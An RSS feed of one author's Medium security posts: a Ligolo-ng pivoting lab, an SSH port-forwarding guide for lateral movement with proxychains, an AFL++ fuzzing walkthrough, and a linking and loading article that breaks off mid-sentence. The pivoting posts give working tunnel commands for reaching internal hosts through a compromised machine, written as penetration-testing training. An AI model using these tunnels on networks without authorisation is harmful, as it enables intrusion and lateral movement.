<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Can Özkan on Medium]]></title>
        <description><![CDATA[Stories by Can Özkan on Medium]]></description>
        <link>https://medium.com/@can-ozkan?source=rss-b1e265f0b360------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Can Özkan on Medium</title>
            <link>https://medium.com/@can-ozkan?source=rss-b1e265f0b360------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 22:54:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@can-ozkan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Pivoting with Ligolo (Lab)]]></title>
            <link>https://can-ozkan.medium.com/pivoting-with-ligolo-lab-532532d72336?source=rss-b1e265f0b360------2</link>
            <guid isPermaLink="false">https://medium.com/p/532532d72336</guid>
            <dc:creator><![CDATA[Can Özkan]]></dc:creator>
            <pubDate>Fri, 06 Mar 2026 09:29:10 GMT</pubDate>
            <atom:updated>2026-04-14T10:34:20.151Z</atom:updated>
            <content:encoded><![CDATA[<p>There are two instances: agent and proxy. The proxy will run on Kali, and the agent will work on Ubuntu (your pivot box). The binaries can be downloaded from the link below.</p><p>Kali IP: 192.168.152.109</p><p>Ubuntu IP: 192.168.152.110 and 192.168.135.115</p><p>Metasplotaible 2: 192.168.135.114</p><p>The objective is to set up a tunnel and thus scan the Metasplotaible 2 machine.</p><p>Link: <a href="https://github.com/nicocha30/ligolo-ng">https://github.com/nicocha30/ligolo-ng</a></p><p>Link: <a href="https://github.com/nicocha30/ligolo-ng/releases">https://github.com/nicocha30/ligolo-ng/releases</a></p><p>Kali:</p><p>Create an interface and start the proxy</p><pre>sudo ip tuntap add user $USER mode tun ligolo<br><br>sudo ip link set ligolo up</pre><pre>sudo ./proxy -selfcert</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NiOjQ321HqZUF1_v40zV9Q.png" /></figure><p>Ubuntu:</p><pre>.agent -connect &lt;IP:11601&gt; -ignore-cert</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*dECEZnMJhvZJ9jQ4Le7zaw.png" /></figure><p>Kali:</p><pre>sudo ip route add &lt;target CIDR&gt; dev ligolo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SpJMyziazuYTshkJuThYWQ.png" /></figure><pre>session (interact with the session)<br>start</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b7XM5lbSrTZ_-ZwICrPOhw.png" /></figure><p>Now, you can reach the new subnet that was not reachable before.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*OB3tVfexYTwm6y1YsdzxZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Q8XKlPE7ROUXRYCKs4hXA.png" /></figure><p>Thanks for reading,</p><p>Can</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=532532d72336" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pivoting Theory in Penetration Testing (SSH Port Forwarding and Tunneling)]]></title>
            <link>https://can-ozkan.medium.com/pivoting-theory-in-penetration-testing-ssh-port-forwarding-and-tunneling-fc0a429e7f6b?source=rss-b1e265f0b360------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc0a429e7f6b</guid>
            <dc:creator><![CDATA[Can Özkan]]></dc:creator>
            <pubDate>Thu, 05 Mar 2026 15:07:43 GMT</pubDate>
            <atom:updated>2026-03-05T15:07:43.391Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Introduction</h3><p>Modern enterprise networks are rarely flat. Instead, they are designed with <strong>network segmentation</strong>, where systems are separated into multiple zones with different levels of trust. For example, a public-facing web server may be placed in a demilitarized zone (DMZ), while application servers and databases are located deeper inside the organization’s internal network. Sensitive assets such as domain controllers, industrial control systems, or internal management interfaces are typically placed behind additional layers of network restrictions. This architecture helps organizations reduce risk by limiting how far an attacker can move if a single system becomes compromised.</p><p>From an attacker’s perspective, this segmentation creates a significant challenge. Even if a vulnerable internet-facing server is exploited successfully, the attacker typically cannot directly communicate with many internal systems. Firewalls, network address translation (NAT), and internal routing rules often prevent direct access from the Internet to internal resources. As a result, compromising a single machine rarely provides immediate access to valuable internal targets such as databases, internal web applications, or authentication servers.</p><p>To overcome these restrictions, attackers use a technique known as <strong>pivoting</strong>. Pivoting allows an attacker to leverage a compromised machine as a stepping stone to reach other systems within the network. Instead of communicating directly with internal targets, the attacker routes their traffic through the compromised host. Therefore, the compromised machine becomes a <strong>bridge or relay point</strong> that enables access to otherwise unreachable parts of the network.</p><p>This technique is closely related to the concept of <strong>lateral movement</strong>, which refers to the process of moving from one compromised system to another system within the same environment. In many real-world intrusions, the initial compromise is only the beginning of the attack. The attacker first gains a foothold on an exposed system and then gradually moves deeper into the network to locate higher-value assets. Pivoting is one of the key mechanisms that make this movement possible.</p><p>Consider a simple example scenario. An attacker on the internet exploits a vulnerability in a publicly accessible web server. Although the attacker now controls this server, they still cannot directly access internal systems such as databases or internal management interfaces. However, the compromised web server is already connected to the internal network and can communicate with those internal systems. By routing their traffic through the compromised server, the attacker can effectively interact with internal services as if they were operating from inside the network.</p><pre>Attacker → Public Server (Compromised) → Internal Network → Sensitive Systems</pre><p>Through pivoting, the attacker can scan internal hosts, access restricted services, and attempt further exploitation against machines that would otherwise be unreachable from the outside.</p><h3>2. What Is Pivoting?</h3><p>Pivoting is a technique used in penetration testing and real-world cyber attacks that allows an attacker to <strong>access systems within a network that are not directly reachable from their own machine</strong>. The idea is simple: once an attacker compromises one machine inside a network, they can use that machine as an intermediate point to communicate with other systems that would otherwise be inaccessible. In this scenario, the compromised machine effectively becomes a <strong>relay or bridge</strong> between the attacker and the internal network.</p><p>Pivoting allows attackers to bypass these barriers by <strong>leveraging the network access of the compromised machine</strong>. Once a system inside the network is compromised, the attacker can send traffic through that system to interact with other hosts in the same network. From the perspective of the internal network, the traffic appears to originate from the compromised machine rather than from the attacker’s external system. This enables communication with internal services that would normally be blocked.</p><p>To better understand this concept, consider a simple network scenario. An attacker typically starts from their own machine, often using a penetration testing platform such as Kali Linux. They discover and exploit a vulnerability on a publicly accessible server. After gaining access to this machine, they now control a system that resides within the target organization’s infrastructure.</p><pre>Attacker (Kali)<br>      |<br>      | Internet<br>      |<br>Compromised Host (Pivot)<br>      |<br>      | Internal Network<br>      |<br>Internal Target</pre><p>In this example, the attacker cannot directly reach the internal target system because it is protected by network restrictions. However, the compromised host is already connected to the internal network and is allowed to communicate with the internal target. By routing traffic through the compromised host, the attacker can interact with the internal target as if they were located inside the network themselves.</p><p>For penetration testers, understanding pivoting is essential because real networks rarely expose their most critical assets directly to the internet. Instead, testers often need to demonstrate how an attacker could move step by step through the environment after gaining an initial foothold.</p><p>In practice, pivoting can be implemented using several techniques and tools. Some of the most common methods involve creating network tunnels or proxies that route traffic through the compromised host. Technologies such as <strong>SSH port forwarding</strong>, <strong>SOCKS proxies</strong>, and specialized tunneling tools allow attackers to send their traffic through the pivot machine. These techniques effectively extend the attacker’s network reach and allow their tools, such as scanners, browsers, and exploitation frameworks, to interact with internal systems as if they were physically connected to the same network.</p><h3>3. SSH Port Forwarding Overview</h3><p>One of the most common and reliable ways to perform pivoting is <strong>SSH port forwarding</strong>. SSH (Secure Shell) is a widely used protocol that allows secure remote access to systems over a network. It is commonly used by administrators to log into remote machines, execute commands, and securely manage servers. However, SSH also provides powerful features for <strong>creating encrypted tunnels that forward network traffic between machines</strong>. These tunneling capabilities make SSH an extremely useful tool for pivoting during penetration tests.</p><p>In a pivoting scenario, the attacker typically establishes an SSH connection to a compromised machine on the target network. Once the SSH session is established, the attacker can configure the connection to <strong>forward specific ports or entire streams of network traffic through the compromised host</strong>. This effectively allows the attacker to extend their network reach and interact with internal systems as if they were located within the internal network.</p><p>SSH supports <strong>three primary types of port forwarding.</strong> These are <strong>local port forwarding</strong>, <strong>remote port forwarding</strong>, and <strong>dynamic port forwarding</strong>. Although they rely on the same underlying SSH tunneling mechanism, the difference starts <strong>where the listening port is created and how the traffic flows through the tunnel</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sbdrPRJuAzwgNItmz3PQLQ.png" /></figure><h3>4. Local Port Forwarding</h3><p>Local port forwarding is one of the most commonly used SSH tunneling techniques in penetration testing. It allows an attacker to <strong>access a service that is reachable from a remote machine by exposing that service on the attacker’s own local system</strong>. In other words, a port on the attacker’s machine is mapped through the SSH connection to a service located somewhere within the target network.</p><p>This technique is particularly useful when a compromised machine has access to internal services that the attacker cannot directly reach. By establishing a local port forwarding tunnel, the attacker can interact with those services as if they were running locally on their own machine.</p><p>Local port forwarding works by creating a <strong>listening port on the attacker’s machine</strong>. Any traffic sent to that local port is automatically forwarded through the encrypted SSH tunnel to a designated host and port that are reachable from the SSH server. This effectively allows the attacker to “extend” their network access and interact with internal services through the pivot machine.</p><pre>ssh -L LOCAL_PORT:TARGET_HOST:TARGET_PORT user@pivot</pre><p>To better understand how this works, consider a scenario where an attacker has gained SSH access to a compromised server inside a network. This server can communicate with an internal database server that is not accessible from the attacker’s machine. The database server is running MySQL on port 3306 and has the internal IP address 10.10.10.20.</p><p>Although the attacker cannot connect directly to this database from their own system, the compromised server can reach it. The attacker can therefore create an SSH tunnel that forwards a local port on their machine to the internal database service.</p><pre>ssh -L 3306:10.10.10.20:3306 user@10.10.10.5</pre><p>In this example, the attacker connects to the pivot machine at 10.10.10.5. SSH then creates a local port listener on the attacker’s machine at port 3306. Any traffic sent to this port will be forwarded through the SSH tunnel to 10.10.10.20:3306, which is the internal database server.</p><p>Once the tunnel is established, the attacker can interact with the database service by connecting to their own machine:</p><pre>mysql -h 127.0.0.1 -P 3306</pre><p>Even though the command appears to connect to localhost, the traffic is actually forwarded through the pivot machine and ultimately reaches the internal database server. From the perspective of the database server, the connection originates from the pivot host rather than from the attacker’s external system.</p><p>The flow of traffic in this situation can be visualized as follows:</p><pre>Kali (Attacker)<br>     |<br>localhost:3306<br>     |<br>SSH Tunnel<br>     |<br>Pivot Machine<br>     |<br>Internal Network<br>     |<br>Database Server (10.10.10.20:3306)</pre><p>This method is not limited to databases. Local port forwarding can be used to access any internal services that would otherwise be unreachable from outside the network. For example, penetration testers frequently use this technique to interact with internal web applications, administrative dashboards, file sharing services, or remote desktop services.</p><p>As another example, suppose there is an internal web server running on port 80 at address 10.10.10.50. The attacker could forward a local port to that web service using the following command:</p><pre>ssh -L 8080:10.10.10.50:80 user@10.10.10.5</pre><p>After the tunnel is created, the attacker can open a browser and navigate to:</p><pre>http://localhost:8080</pre><p>The web request will travel through the SSH tunnel to the pivot machine and then be forwarded to the internal web server. This allows the attacker to browse internal web applications that are not accessible from the internet.</p><h3>5. Remote Port Forwarding</h3><p>Remote port forwarding is another SSH tunneling technique that allows traffic to be forwarded through an SSH connection, but in the <strong>opposite direction of local port forwarding</strong>. Instead of opening a port on the attacker’s machine to access an internal service, remote port forwarding <strong>opens a port on the remote system (typically the pivot machine) and forwards that traffic back to the attacker’s machine</strong>.</p><p>This technique is useful in situations where the attacker wants to <strong>expose a service running on their own machine to a remote host inside the target network</strong>. In other words, the remote machine listens on a specific port, and any connection made to that port is forwarded through the SSH tunnel to a service running on the attacker’s system.</p><p>The general syntax for remote port forwarding is:</p><pre>ssh -R REMOTE_PORT:LOCAL_HOST:LOCAL_PORT user@pivot</pre><p>In this command, REMOTE_PORT represents the port that will be opened on the remote machine (the pivot host). LOCAL_HOST refers to a host reachable from the attacker’s machine, and LOCAL_PORT represents the service running on the attacker’s machine. When a connection is made to the remote port on the pivot host, the traffic is forwarded through the SSH tunnel to the specified service on the attacker’s system.</p><p>To illustrate how this works, consider a scenario where the attacker is running a web server on their local machine. This web server might be used to host scripts, tools, or payloads needed during the penetration test. However, the compromised pivot machine may not have direct network access to the attacker’s system due to firewall rules or network restrictions.</p><p>By using remote port forwarding, the attacker can expose their local web server to the pivot host through the SSH connection. For example, suppose the attacker is running a web server on port 80 of their machine. They could create a remote forwarding tunnel with the following command:</p><pre>ssh -R 8080:localhost:80 user@10.10.10.5</pre><p>In this case, the SSH server on the pivot machine will open port 8080. Any connection made to localhost:8080 on the pivot machine will be forwarded through the encrypted SSH tunnel to the attacker’s machine at localhost:80.</p><p>Once the tunnel is established, the pivot machine can access the attacker’s web server by visiting:</p><pre>http://localhost:8080</pre><p>Even though the connection appears to be local to the pivot machine, the request is actually forwarded through the SSH tunnel and handled by the web server running on the attacker’s system.</p><p>The traffic flow for this setup can be visualized as follows:</p><pre>Pivot Machine<br>      |<br>localhost:8080<br>      |<br>SSH Tunnel<br>      |<br>Attacker Machine (Kali)<br>      |<br>Web Server :80</pre><p>From the perspective of the pivot host, the service appears to be running locally, but the actual processing occurs on the attacker’s machine.</p><h3>6. Dynamic Port Forwarding (SOCKS Proxy)</h3><p>Dynamic port forwarding is one of the most powerful SSH tunneling techniques used in penetration testing. Unlike local and remote port forwarding, which are designed to forward traffic between specific ports, dynamic port forwarding creates a <strong>SOCKS proxy</strong> that allows arbitrary network traffic to be routed through an SSH connection. This means that instead of forwarding a single service or port, the attacker can route traffic to <strong>multiple hosts and ports within the internal network</strong> through the pivot machine.</p><p>This flexibility makes dynamic port forwarding extremely useful during pivoting. Once a SOCKS proxy is established, many different tools can send their traffic through the proxy, allowing the attacker to interact with various internal systems without needing to create separate SSH tunnels for each service. In practice, this approach simplifies internal reconnaissance and lateral movement within a network.</p><p>Dynamic port forwarding is enabled in SSH using the -D option. The general command syntax is as follows:</p><pre>ssh -D LOCAL_PORT user@pivot</pre><p>In this command, LOCAL_PORT represents the port that will be opened on the attacker’s machine to act as the SOCKS proxy. The user@pivot portion specifies the SSH account and pivot machine used to establish the connection. Once the SSH session is established, the attacker’s machine will begin listening on the specified port and functioning as a SOCKS proxy.</p><p>For example, the attacker might run the following command:</p><pre>ssh -D 1080 user@10.10.10.5</pre><p>After executing this command, a SOCKS proxy will be available on the attacker’s machine at:</p><pre>127.0.0.1:1080</pre><p>Any application that supports SOCKS proxies can now send traffic through this proxy. When the application attempts to connect to a remote host, the traffic will be forwarded through the SSH tunnel to the pivot machine. The pivot machine then establishes the connection to the requested destination within the internal network.</p><p>The traffic flow in this setup can be visualized as follows:</p><pre>Application (Scanner / Browser)<br>        |<br>SOCKS Proxy (127.0.0.1:1080)<br>        |<br>SSH Tunnel<br>        |<br>Pivot Machine<br>        |<br>Internal Network<br>        |<br>Target Hosts</pre><p>From the perspective of the internal network, the traffic appears to originate from the pivot machine rather than from the attacker’s system. This allows the attacker to interact with internal services that would otherwise be inaccessible.</p><p>In many cases, penetration testers combine dynamic port forwarding with a tool called <strong>proxychains</strong>. Proxychains is a utility that forces applications to route their network traffic through a specified proxy server. This is particularly useful for tools that do not natively support SOCKS proxies.</p><p>To use proxychains with the SSH SOCKS proxy, the tester first modifies the proxychains configuration file. This file is typically located at:</p><pre>/etc/proxychains.conf</pre><p>Within this file, the tester adds the SOCKS proxy configuration:</p><pre>socks5 127.0.0.1 1080</pre><p>Once the configuration is complete, many command-line tools can be executed through the proxy by prefixing them with proxychains.</p><p>In this situation, the scanning traffic is routed through the SOCKS proxy, passes through the SSH tunnel to the pivot machine, and then reaches the internal network. This allows the tester to discover hosts and services that would otherwise be invisible from the attacker’s external position.</p><p>Dynamic port forwarding is particularly valuable because it allows testers to <strong>interact with multiple internal systems simultaneously</strong> without needing to create separate tunnels for each target. For example, the tester might use a web browser to access an internal web application, run a vulnerability scanner against internal hosts, and connect to a database service — all through the same SOCKS proxy.</p><p>Thanks for reading,</p><p>Can</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc0a429e7f6b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Fuzzing with AFL++ — Exercise 1 (simple_crash)]]></title>
            <link>https://can-ozkan.medium.com/fuzzing-with-afl-exercise-1-simple-crash-7914f32f46c7?source=rss-b1e265f0b360------2</link>
            <guid isPermaLink="false">https://medium.com/p/7914f32f46c7</guid>
            <dc:creator><![CDATA[Can Özkan]]></dc:creator>
            <pubDate>Wed, 28 Jan 2026 12:54:35 GMT</pubDate>
            <atom:updated>2026-01-28T12:55:19.772Z</atom:updated>
            <content:encoded><![CDATA[<h3>Fuzzing with AFL++: Exercise 1 (simple_crash)</h3><p>In this post, I walk through <strong>Exercise 1</strong> from the <em>Fuzzing-Module</em> repository by Alex Maleno, using <strong>AFL++</strong> inside a containerized environment. The goal of this exercise is simple but powerful: compile a vulnerable program with AFL++ instrumentation, fuzz it, and analyze the resulting crashes.</p><h3>Environment Setup</h3><p>The exercise is executed inside a container that already contains AFL++. I mount the exercise directory into the container so that the source code is available at runtime.</p><pre>podman run --rm -it -v $(pwd)/Fuzzing-Module/exercise1:/target &lt;afl++-image&gt;</pre><p>Inside the container, the project structure looks like this:</p><pre>/target<br>├── CMakeLists.txt<br>└── simple_crash.cpp</pre><h3>Understanding the Target Program</h3><p>The target binary is built from simple_crash.cpp. It reads user input from stdin and contains a deliberate crash condition. When a specific input pattern is reached, the program aborts, making it ideal for fuzzing.</p><p>The program is <strong>stdin-based</strong>, which means AFL++ can fuzz it without any special harness.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GrUcF6uMOpDmNsCCO1QhEg.png" /></figure><h3>Building the Target with AFL++ Instrumentation</h3><p>To enable coverage-guided fuzzing, the program must be compiled using AFL++ compilers.</p><pre>mkdir build<br>cd build<br>CC=/AFLplusplus/afl-clang-fast \<br>CXX=/AFLplusplus/afl-clang-fast++ \<br>cmake ..<br>make</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WJkgQUCLiSz-3yR72KhSqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p06hvnOHJzvVqVhyyOD5LQ.png" /></figure><p>During compilation, AFL++ reports instrumentation details:</p><ul><li>LLVM PCGUARD mode is enabled</li><li>34 locations are instrumented</li><li>No collisions detected</li></ul><p>This confirms the binary is ready for fuzzing.</p><p>The final instrumented binary is:</p><pre>./simple_crash</pre><h3>Sanity Check</h3><p>Before fuzzing, I manually execute the binary to confirm it works:</p><pre>./simple_crash<br>enter input string: test</pre><p>The program accepts input and exits normally. This is a good sign.</p><h3>Creating the Initial Seed Corpus</h3><p>AFL++ requires at least one seed input to start fuzzing. I create a small corpus of random inputs using /dev/urandom:</p><pre>mkdir seeds<br>cd seeds<br>for i in {0..4}; do dd if=/dev/urandom of=seed_$i bs=64 count=10; done</pre><p>This results in five initial seed files:</p><pre>seed_0 seed_1 seed_2 seed_3 seed_4</pre><h3>Launching AFL++</h3><p>With the instrumented binary and seeds ready, I start fuzzing:</p><pre>/AFLplusplus/afl-fuzz \<br>-i /target/build/seeds \<br>-o out \<br>-m none \<br>-d -- /target/build/simple_crash</pre><p>Key options:</p><ul><li>-i – input corpus</li><li>-o – output directory</li><li>-m none – disable memory limit (container-friendly)</li><li>-d – deterministic mode (deprecated but still works)</li></ul><p>AFL++ immediately begins execution and coverage discovery.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hPCcDD61xdgdZjIDjiGWCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BccXj96Rf1YtyYjitnNb_g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jw12Ay0DY8J7yco1Z4P5zw.png" /></figure><h3>AFL++ Runtime Observations</h3><p>After a few minutes, AFL++ reports:</p><ul><li><strong>Total crashes:</strong> 3</li><li><strong>Corpus count:</strong> 21</li><li><strong>Coverage density:</strong> ~40%</li><li><strong>Exec speed:</strong> ~60 exec/sec</li></ul><p>This confirms that AFL++ successfully discovered crashing inputs very quickly.</p><h3>Inspecting the Output Directory</h3><p>The output directory follows the standard AFL++ structure:</p><pre>out/default/<br>├── crashes/<br>├── queue/<br>├── hangs/<br>├── fuzzer_stats<br>└── plot_data</pre><p>Inside crashes/, I find multiple crashing inputs:</p><pre>id:000000,sig:06,src:000003,time:221,execs:101,op:havoc,rep:1<br>id:000001,sig:06,src:000003,time:377,execs:114,op:havoc,rep:11<br>id:000002,sig:06,src:000003,time:1241,execs:198,op:havoc,rep:14</pre><p>Each file represents a unique crashing test case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aXnLUFqd6zrxf8WVxQRQlw.png" /></figure><h3>Reading the Crash Metadata</h3><p>The README.txt inside the crashes/ directory explains how the crash was found and how to reproduce it:</p><pre>Command line used to find this crash:<br>/AFLplusplus/afl-fuzz -i seeds -o out -m none -d -- simple_crash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8mQwrqh1wMWDP9brIM8M7A.png" /></figure><p>AFL++ also recommends using afl-tmin to minimize crashing inputs.</p><h3>Reproducing the Crash Manually</h3><p>To validate the crash outside AFL++, I feed the crashing input directly to the program:</p><pre>cat out/default/crashes/id:000000* | ./simple_crash</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HrE1x43zcFB9BzHWZTRGXQ.png" /></figure><p>Thanks for reading,</p><p>Can</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7914f32f46c7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linking, Loading, Symbols, and Shared Objects]]></title>
            <link>https://can-ozkan.medium.com/linking-loading-symbols-and-shared-objects-cc7fb23e5215?source=rss-b1e265f0b360------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc7fb23e5215</guid>
            <dc:creator><![CDATA[Can Özkan]]></dc:creator>
            <pubDate>Wed, 07 Jan 2026 09:29:01 GMT</pubDate>
            <atom:updated>2026-01-07T09:29:01.921Z</atom:updated>
            <content:encoded><![CDATA[<h3>1. Introduction</h3><p>When we write a program in a compiled language, such as C or C++, it is tempting to think of the process as linear and straightforward: write code, compile it, and run it. In practice, what happens between source code and a running process is far more complex. Compilation is only the first step in the transformation process. After that, the program must be linked and later loaded by the operating system before a single instruction is executed on the CPU. Each of these stages exists for a reason, and they form the foundation of how modern software is built and executed.</p><p>Linking and loading are often invisible to developers until something breaks. A missing library, an “undefined reference” error, or a mysterious runtime failure due to a missing shared object is usually the first time these mechanisms demand attention. However, these errors are not arbitrary; they are direct consequences of how symbols are resolved, how code is combined, and how dependencies are managed.</p><p>Symbols are paramount in linking. A symbol is a name, such as a function or a global variable, that represents a location in code or data. During compilation, the compiler generates symbols but does not necessarily know where they will ultimately live in memory. The linker is responsible for resolving these symbols across multiple files and libraries, while the loader ensures that the resolved symbols point to valid runtime addresses. This indirection is what allows large programs to be split across multiple source files and shared libraries without requiring hard-coded addresses everywhere.</p><p>To illustrate why this matters, consider a simple example split across two files. One file declares a function, and another file calls it:</p><pre>/* foo.c */<br>#include &lt;stdio.h&gt;<br><br>void foo(void) {<br>    printf(&quot;Hello from foo\n&quot;);<br>}</pre><pre>/* main.c */<br>void foo(void);<br><br>int main(void) {<br>    foo();<br>    return 0;<br>}</pre><p>Each file can be compiled independently into an object file. At compile time, main.c knows that foo exists, but it does not know where foo is located. The symbol foo is therefore marked as undefined in main.o. Only during linking does the linker match this undefined symbol with the definition found in foo.o. If foo.o is omitted during linking, the compiler will succeed, but the linker will fail, because the symbol cannot be resolved. This simple example already shows the division of responsibilities between compilation and linking.</p><h3>2. From Source Code to Executable (Big Picture)</h3><p>The process from source code to a running program is a multi-stage process in which each stage deliberately solves a different problem. Although these stages are often grouped under the vague label of “building,” they are conceptually separate and are handled by various tools. Therefore, keeping these distinctions clear is essential when reasoning about symbols, linking errors, runtime behavior, or reverse engineering artifacts observed in binaries.</p><p>The first stage is <em>compilation</em>. During compilation, each source file is processed independently by the compiler. The compiler parses the code, performs semantic analysis, applies optimizations, and finally emits machine code. The result is not an executable, but an object file, usually with a .o extension. An object file already contains CPU instructions and data, but it is incomplete: function calls to external code are unresolved, memory addresses are not final, and references to symbols defined in other files remain symbolic rather than concrete.</p><p>This per-file compilation model is a key design choice. It allows large projects to be built incrementally and enables parallel compilation. However, it also means the compiler cannot assume knowledge about the entire program. When the compiler encounters a function declaration, such as void foo(void);, it trusts that foo will exist somewhere, but it does not care where. The compiler records this as an undefined symbol in the object file and moves on.</p><p>Consider a minimal example:</p><pre>/* math.c */<br>int add(int a, int b) {<br>    return a + b;<br>}</pre><pre>/* main.c */<br>int add(int, int);<br><br>int main(void) {<br>    return add(2, 3);<br>}</pre><p>At this point, both math.o and main.o contain machine code, but main.o still has an unresolved reference to the symbol add. If you inspect main.o with a tool like nm, you will see that add is marked as undefined. This is expected and perfectly valid at this stage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*4hkZZ8G_rSS1UFIFgRGyeQ.png" /></figure><p>The next stage is linking, where these object files are combined into a single binary. The linker’s job is to resolve all undefined symbols by matching them with their corresponding definitions, whether those definitions come from other object files or from libraries. It also determines how code and data are laid out in the final binary and applies relocations to ensure that internal references are consistent. Only after linking does the program become a complete executable or a shared object.</p><p>Once linking is complete, the result is a binary file stored on disk, typically in the ELF format on Linux systems. At this point, the program has not run. No memory has been allocated for it, and no instructions have been executed. The binary merely describes what should happen at runtime: which segments need to be mapped, which shared libraries are required, and where execution should begin.</p><p>The final stage is loading, which occurs when the program is executed. The operating system’s loader reads the binary, maps its segments into the process’s virtual address space, and prepares the execution environment. If the program depends on shared libraries, the dynamic loader is invoked to locate and load them. Runtime relocations are applied, and any required initialization code is executed before control is transferred to the program’s entry point.</p><p>A crucial takeaway from this big-picture view is that addresses are not inherently fixed at compile time. Modern systems rely heavily on runtime decisions, such as address space layout randomization (ASLR) and lazy symbol binding, which defer some resolutions until the program is actually running. This design improves security and flexibility but also introduces layers of indirection that become visible during runtime.</p><h3>3. Object Files: The Building Blocks</h3><p>Object files are the fundamental units that linkers operate on. They are the direct output of the compilation stage and represent a partially constructed program: machine code and data exist, but the program is not yet whole. Understanding object files is essential because many concepts related to symbols, relocations, and linking originate here.</p><p>An object file typically corresponds to a single source file that has been compiled independently of other source files. On Linux and most Unix-like systems, object files use the ELF. Despite the name, an ELF file does not have to be executable; object files, executables, and shared libraries all use the same underlying format. What distinguishes them is their structure and intended use by the linker and loader.</p><p>Symbols are a critical component of object files. A symbol entry represents each function or global variable that is visible outside the source file. They have names, types, sizes, and section associations, but they may or may not have final addresses yet. An object file distinguishes between defined symbols (those implemented in the file) and undefined symbols (those referenced but defined elsewhere).</p><p>A critical property of object files is that they are not meant to be executed. They lack program headers, an entry point, and other information required by the operating system to create a process. Their purpose is purely intermediate: they serve as inputs to the linker, not as final products. This distinction explains why object files can contain unresolved symbols and relocation entries without being considered “broken.”</p><h3>4. Symbols: Names, Addresses, and Meaning</h3><p>Symbols are the glue that holds separately compiled pieces of a program together. At a conceptual level, a symbol is simply a name that refers to something meaningful in a program, such as a function or a variable. At a technical level, a symbol is a structured entry in a symbol table that carries metadata about the name, including where it is defined, the type of entity it represents, and its visibility to other files. Without symbols, independent compilation and linking would not be possible.</p><p>Symbols can be categorized by what they represent. Function symbols correspond to executable code in the .text section, while object symbols usually correspond to variables stored in .data, .bss, or .rodata. There are also special symbols generated by the compiler or linker, such as section symbols or symbols marking the start and end of certain regions. Although these may not correspond directly to source-level constructs, they play an important role in layout and relocation.</p><p>Visibility is another crucial aspect of symbols. Not all symbols are meant to be accessible across object files. In C, the static keyword limits a function or variable to file scope, preventing it from being exported as a global symbol. This means the symbol exists in the object file but is not visible to the linker when resolving references from other files. In contrast, symbols declared without static are globally visible by default and can be resolved by other object files during linking.</p><pre>/* lib.c */<br>static int helper(int x) {<br>    return x * 2;<br>}<br><br>int public(int y) {<br>    return helper(y);<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*_vOGsWz7DBGwMiqchgJAkA.png" /></figure><p>Here, helper is a local symbol confined to lib.c, while public is a global symbol that can be referenced by other files. Even though both functions appear in the object file, only public will be visible to the linker when resolving external references. This distinction directly affects what symbols appear in symbol tables and how link-time errors manifest.</p><p>Symbol tables themselves come in multiple forms. In ELF binaries, the .symtab section contains the full symbol table, including local symbols and detailed debugging information. This table is primarily intended for linkers and debuggers. The .dynsym section, on the other hand, contains a reduced set of symbols needed for dynamic linking at runtime. When a binary is stripped, .symtab is usually removed, but .dynsym must remain if the program uses shared libraries. This is why stripped binaries may still expose the names of imported functions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*J5W9mNa40wl8g-wgR05I8Q.png" /></figure><p>Undefined symbols play a crucial role. An undefined symbol represents a promise: the object file asserts that a symbol with a given name and type will be provided elsewhere. Then, the linker must either find a matching definition or fail with an error. This mechanism allows object files to be compiled without knowledge of the final program structure. It also explains why linking errors often reference symbol names rather than line numbers. This problem exists at the level of symbol resolution, not source-level syntax.</p><h3>5. The Linker: Resolving the Puzzle</h3><p>The linker is the component that takes multiple incomplete pieces of a program and combines them into a coherent whole. While the compiler focuses on translating source code into machine instructions, the linker operates at a higher structural level, working with object files, symbols, and relocation information. Its primary responsibility is to resolve symbol references, assign addresses, and produce a final binary that can be executed or further processed by the 